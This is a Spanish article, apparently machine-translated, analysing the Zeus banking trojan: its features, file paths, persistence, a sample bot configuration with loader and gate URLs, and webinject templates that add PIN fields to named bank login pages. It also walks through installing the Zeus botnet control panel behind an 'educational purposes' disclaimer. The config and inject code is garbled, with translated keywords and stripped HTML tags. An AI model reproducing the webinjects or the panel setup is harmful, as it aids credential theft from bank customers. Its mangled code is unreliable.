Zeus, también conocido como ZBot/WSNPoem, es famoso por robar información bancaria mediante el uso del hombre en el registro de pulsaciones de teclas del navegador y la captura de formularios. Como sugiere el término, man in the browser (MITB) es básicamente un caballo de Troya proxy que utiliza técnicas de intermediario para atacar a los usuarios. Ataca explotando vulnerabilidades en la seguridad del navegador para modificar páginas web y manipular transacciones monetarias cambiando o agregando detalles maliciosos. La peor parte es que ninguna forma de seguridad a nivel de aplicación o de capa de sesiones como SSL puede proteger tal forma de ataque. La mejor manera de protegerse contra estos es la verificación de transacciones fuera de banda. La captura de formularios es una técnica para capturar datos de formularios web en varios navegadores. Hace muy poco arrestaron a Happy Hacker; se le acusaba de ser el cerebro detrás del troyano bancario Zeus. Zeus viene como un conjunto de herramientas para construir y administrar una botnet. Tiene un panel de control que se utiliza para monitorear y actualizar parches a la botnet. También cuenta con una herramienta denominada constructora que permite la creación de ejecutables que se utilizan para infectar las computadoras de los usuarios. Zeus se presenta como un producto comercial para usuarios que pueden comprarlo en mercados clandestinos y configurar fácilmente su propia botnet. Se estima que costará alrededor de $700 más para las versiones avanzadas.
Características de Zeus
Algunas de las características que muestra esta botnet son:
- Captura credenciales a través de HTTP, HTTPS, FTP, POP3
- Roba certificados de infraestructura de clave pública X.509 del lado del cliente
- Tiene un proxy SOCKS integrado
- Roba/elimina cookies HTTP y flash
- Captura capturas de pantalla y extrae HTML de los sitios de destino
- Modifica el archivo de hosts locales.
- Agrupa los sistemas de los usuarios infectados en diferentes botnets para distribuir el comando y el control.
- Tiene capacidades de búsqueda que pueden usarse a través de un formulario web.
- El archivo de configuración está cifrado.
- Tiene una función importante para matar el sistema operativo.
- Se pone en contacto con el servidor de comando y control para realizar tareas adicionales
- Tiene una cadena de identificación de bot única
- Envía mucha información al servidor CC, como la versión del bot, sistema operativo, hora local, ubicaciones geográficas, etc.
Configuración de Zeus
Zeus tiene un archivo de configuración, generalmente con una extensión de archivo como .bin; tiene un archivo binario que contiene el troyano Zeus y una zona de colocación que es principalmente un archivo PHP. El kit de herramientas (Zeus Crimeware Toolkit) viene con un panel de control creado en PHP que se utiliza para monitorear la botnet y la información recopilada se almacena en una base de datos MySQL. Por lo tanto, una vez que todos los bots estén implementados, el panel de control podrá monitorearlos y administrarlos.
Aquí hay algunas ubicaciones donde se pueden encontrar los distintos módulos de Zeus:
Descripción del archivoC:WINDOWSsystem32ntos.exe binario troyanoC:WINDOWSsystem32wsnpoemaudio.dll Contiene los datos robadosC:WINDOWSsystem32wsnpoemvideo.dll Contiene la configuración cifradaC:WINDOWSsystem32oembios.exe binario troyanoC:WINDOWSsystem32sysproc64sysproc86.sys Contiene los datos robadosC:WINDOWSsystem32sysproc64sysproc32.sys Contiene la configuración cifradaC:WINDOWSsystem32twext.exe binario troyanoC:WINDOWSsystem32twain_32local.ds Contiene los datos robadosC:WINDOWSsystem32twain_32user.ds Contiene la configuración cifradaC:WINDOWSsystem32sdra64.exe binario troyanoC:WINDOWSsystem32lowseclocal.ds Contiene los datos robadosC:WINDOWSsystem32lowsecuser.ds Contiene la configuración cifrada
Una vez que se ejecuta el bot, se copia en las ubicaciones mencionadas anteriormente con la descripción «troyano binario». Para generar este proceso cada vez que se inicia, establece la ruta binaria del troyano en
HKEY_LOCAL_MACHINESoftwareMicrosoftWindows NTwinlogonuserinit. Infecta winlogon.exe y svchost.exe y les añade código malicioso. Como se muestra arriba, el archivo local.ds/sysproc86.sys/audio.dll contiene los datos robados del usuario en forma de credenciales de usuario, información financiera de bancos, etc. El código malicioso que se agrega a svchost.exe es el responsable para comunicaciones de red y otras inyecciones en diversos procesos.
Ajustes de configuración de Zeus
Aquí está el archivo de configuración de Zeus:
[plano]
;Hora de construcción: 11:35:57 24.03. GMT
;Versión: 2.1.0.1
entrada «StaticConfig»
;botnet «btn1»
temporizador_config 60 1
registros_cronómetros 1 1
estadísticas_temporizador
url_config «http://localhost/config.bin»
eliminar_certs 1
desactivar_tcpserver 0
clave_cifrado «contraseña»
fin
entrada «DynamicConfig»
url_loader «http://localhost/botnet.exe»
servidor_url «http://localhost/gate.php»
file_webinjects «webinjects.txt»
entrada «Configuraciones avanzadas»
;»http://dominioadv/cfg1.bin»
fin
entrada «Filtros web»
«!*.microsoft.com/*»
«!http://*myspace.com*»
«https://www.gruposantander.es/*»
«!http://*odnoklassniki.ru/*»
«!http://vkontakte.ru/*»
«@*/login.osmp.ru/*»
«@*/atl.osmp.ru/*»
fin
entrada «WebDataFilters»
;»http://mail.rambler.ru/*» «contraseña;iniciar sesión»
fin
entrada «WebFakes»
;»http://www.google.com» «http://www.yahoo.com» «GP» «» «»
fin
fin
[/plano]
Hay dos tipos de configuración disponibles con el Zeus Bot:
- Configuración estática: la compila la propia herramienta de creación y contiene las instrucciones de ejecución del bot por primera vez. De forma predeterminada, está configurado para robar contraseñas, información financiera, registros de chat y sitios web, etc. Tenemos una URL importante en url_config que se utiliza durante la fase de inicio del bot. La configuración estática está codificada en el ejecutable del bot y también contiene configuraciones como el nombre de la botnet, opciones de tiempo para cargas/descargas y la URL para descargar el archivo de configuración.
- Configuración dinámica: se centra principalmente en la URL de destino y la técnica de destino. La configuración dinámica implica el descargador automático, inyecciones de páginas web, etc. El archivo webinjects es el archivo principal involucrado en la configuración dinámica de Zeus. La configuración dinámica también tiene una URL para descargar un ejecutable nuevo o de respaldo y un archivo de configuración. También tiene configuraciones para inyecciones de tiempo de ejecución para algunos de los parámetros HTTP, así como filtros para registros específicos. También tiene URL para recopilar números de autenticación de transacciones utilizados por los bancos para la autenticación en línea. También existe una configuración avanzada que puede usarse para insertar campos adicionales en las páginas web bancarias para extraer más información de la víctima.Algunos de los comandos se detallan a continuación:
- url_server: ubicación del servidor CC
- url_loader: ubicación de actualización para el bot
- Filtros web: son filtros con patrones característicos; Cualquier dato enviado a estas URL se verifica en busca de firmas específicas como nombre de usuario, número de cuenta, contraseña, etc. Estos datos importantes se capturan y envían a los servidores CC.
- AdvancedConfigs: URL para archivos de configuración actualizados
- DNSMap: para manipular el archivo de hosts para detener el acceso a sitios de seguridad y redirigir URL a sitios web falsos.
Descifrado del archivo de configuración
Los archivos de configuración están ocultos y también cifrados con cifrado RC4. Cada clave RC4 es específica de un bot y se almacena dentro del ejecutable cifrado.
Inyecciones de páginas web
Como se mencionó anteriormente, Zeus tiene la capacidad de inyectar dinámicamente campos de formulario en las páginas web de un sistema infectado. Los datos son interceptados entre las comunicaciones cliente-servidor y luego manipulados. Aquí hay un fragmento de código con la inyección:
set_url http://www.xyzbank.com/login.html GP
datos_antes
nombre=»contraseña»*/tr
fin_datos
inyección_datos
trtdPIN:/tdtdtipo de entrada=»text» nombre=»número de PIN» //td/tr
fin_datos
datos_después
fin_datos
Página web antes y después de la inyección.
Descripción de parámetros:
- Set_url: la página que debe ser atacada
- data_before: datos a buscar antes de la inyección
- data_inject: datos que se inyectarán
La capacidad de Zeus para tomar capturas de pantalla activas supera el uso de teclados virtuales en transacciones en línea. Las capturas de pantalla del escritorio están cronometradas según la experiencia del usuario al ingresar contraseñas usando el teclado virtual. Los informes de Fortiguard demuestran una captura exacta de la contraseña ingresada por la víctima.
Aquí hay una pequeña parte del archivo webinjects predeterminado en Zeus:
[plano]
set_url */my.ebay.com/*CurrentPage=MyeBayPersonalInfo* GL
datos_antes
Dirección de correo electrónico registrado
*img*
fin_datos
inyección_datos
correo electrónico:
fin_datos
datos_después
fin_datos
set_url *.ebay.com/*eBayISAPI.dll?* GL
datos_antes
(a href=»http://feedback.ebay.com/ws/eBayISAPI.dll?ViewFeedback*»
fin_datos
inyección_datos
Comentario:
fin_datos
datos_después
/a
fin_datos
set_url https://www.us.hsbc.com/*GL
datos_antes/pre
data_enddata_injectdata_enddata_after
pre
fin_datos
set_url https://www.e-gold.com/acct/li.asp GPL
datos_antes
correo electrónico:
fin_datos
inyección_datos
fin_datos
datos_después
fin_datos
set_url https://www.e-gold.com/acct/balance.asp* GPL
datos_antes/pre
formulario nombre=»fiat*/formulario»
fin_datos
inyección_datos
fin_datos
datos_después
fin_datos
set_url https://online.wellsfargo.com/das/cgi-bin/session.cgi* GL
datos_antes
divfinal_datos
inyección_datos
fin_datos
datos_después
fin_datos
set_url https://www.wellsfargo.com/* G
datos_antes
spantipo de entrada=»contraseña» /
fin_datos
inyección_datos
stronglabel for=»atmpin»PIN de cajero automático/label:/strong
spaninput accesskey=»A» tabindex=»2″ tipo=»contraseña» maxlength=»14″ nombre=»USpass» size=»13″ //span
fin_datos
datos_después
fin_datos
[/plano]
Técnicas de recolección de datos utilizadas por el bot
El ZBot funciona descargando un archivo de configuración cifrado y almacenándolo en la ubicación marcada arriba. El troyano abre una conexión de puerta trasera para descargar/cargar desde el servidor de comando y control, como versiones más nuevas del archivo de configuración, enviar los datos robados a una ubicación específica como en el archivo de configuración, etc. Entonces, una vez que el bot comienza a funcionar, cualquier tipo de credencial o información bancaria es interceptada y cargada en la ubicación secreta. Utiliza mecanismos avanzados para capturar formularios que configuran páginas web y el usuario, sin saberlo, ingresa su información financiera, que nuevamente es capturada por el bot. También se sabe que Zeus roba datos del almacenamiento protegido de Windows, certificados digitales y capturas de pantalla activas de la computadora de la víctima.
Instalación de Zeus
NOTA: Todo este procedimiento que se muestra es sólo para fines educativos y el autor no será responsable de ningún daño causado por alguien que utilice esta herramienta.
Entonces comenzamos configurando una cuenta en un alojamiento web y creando una base de datos Mysql, un nombre de usuario y una contraseña. Luego pasamos al archivo index.php en la ruta /install/index.php . Realizamos cambios menores en el código para proporcionar información como el nombre de usuario y la contraseña de Zeus, el host mysql, el nombre de usuario y la contraseña, y una clave de cripta de botnet. Aquí hay una captura de pantalla que muestra lo mismo:
Archivo /install/index.php
A continuación nos movemos al archivo global.php en la ruta /system/global.php . Nuevamente ponemos los mismos detalles que arriba, que también se muestran en el diagrama.
Archivo /system/global.php
Ahora que todo está configurado, podemos ejecutar nuestro archivo index.php en la ruta /install/index.php. Esto abre un menú de instalación y simplemente ingresamos las credenciales.
Después de esto, simplemente podemos abrir el archivo cp.php en el directorio de inicio para tener la botnet en funcionamiento. Ahora también podemos configurar el bot en los sistemas víctimas.
Aquí están las tablas MySQL que han sido configuradas por la instalación del bot Zeus.
- botnet_list: contiene la lista de bots y botnets.
- botnet_reports: contiene la lista de informes de botnets.
- ipv4toc: contiene la dirección IP para las asignaciones de países
Funcionamiento del robot Zeus
Once the clients are infected, they communicate with the command server through HTTP GET messages. This is mainly required to download the configuration file of the botnet on the victim system and then perform actions as per the settings of the configuration file. Once the bot communicates with the command server, it replies back with the encrypted configurations file, mainly config.bin. This encrypted file is decrypted at the client end by the bot (using its secret key), which then parses the configuration file. Once the configuration file is setup, the bot sends its gateway IP address (public IP address) to the command server. Once the communication is set up and the bot joins up the botnet, it starts posting up the victim’s private information on the assigned address from the configuration file. So all the financial information, credentials, and screenshots get uploaded to that secret address so they may then be used maliciously by the person running the botnet.
Victim – Command Server Communication
Reference Links
https://en.wikipedia.org/wiki/Man-in-the-browser
https://en.wikipedia.org/wiki/Zeus_(Trojan_horse)
http://www.fortiguard.com/legacy/analysis/zeusanalysis.html
https://zeustracker.abuse.ch/faq.php
courses.isi.jhu.edu/malware/papers/ZEUS.pdf?
http://www.f-secure.com/v-descs/trojan-spy_w32_zbot.shtml
http://ishackers.blogspot.in//04/zeus-21o1-download-guide.html
http://www.fortiguard.com/legacy/analysis/zeusanalysis.html
http://www.openfire-security.net/files/papers/faheem/zeus.pptx
http://www.kislaybhardwaj.com//10/tutorial-of-zeus-bot.html
http://www.ncfta.ca/papers/On_the_Analysis_of_the_Zeus_Botnet_Crimeware.pdf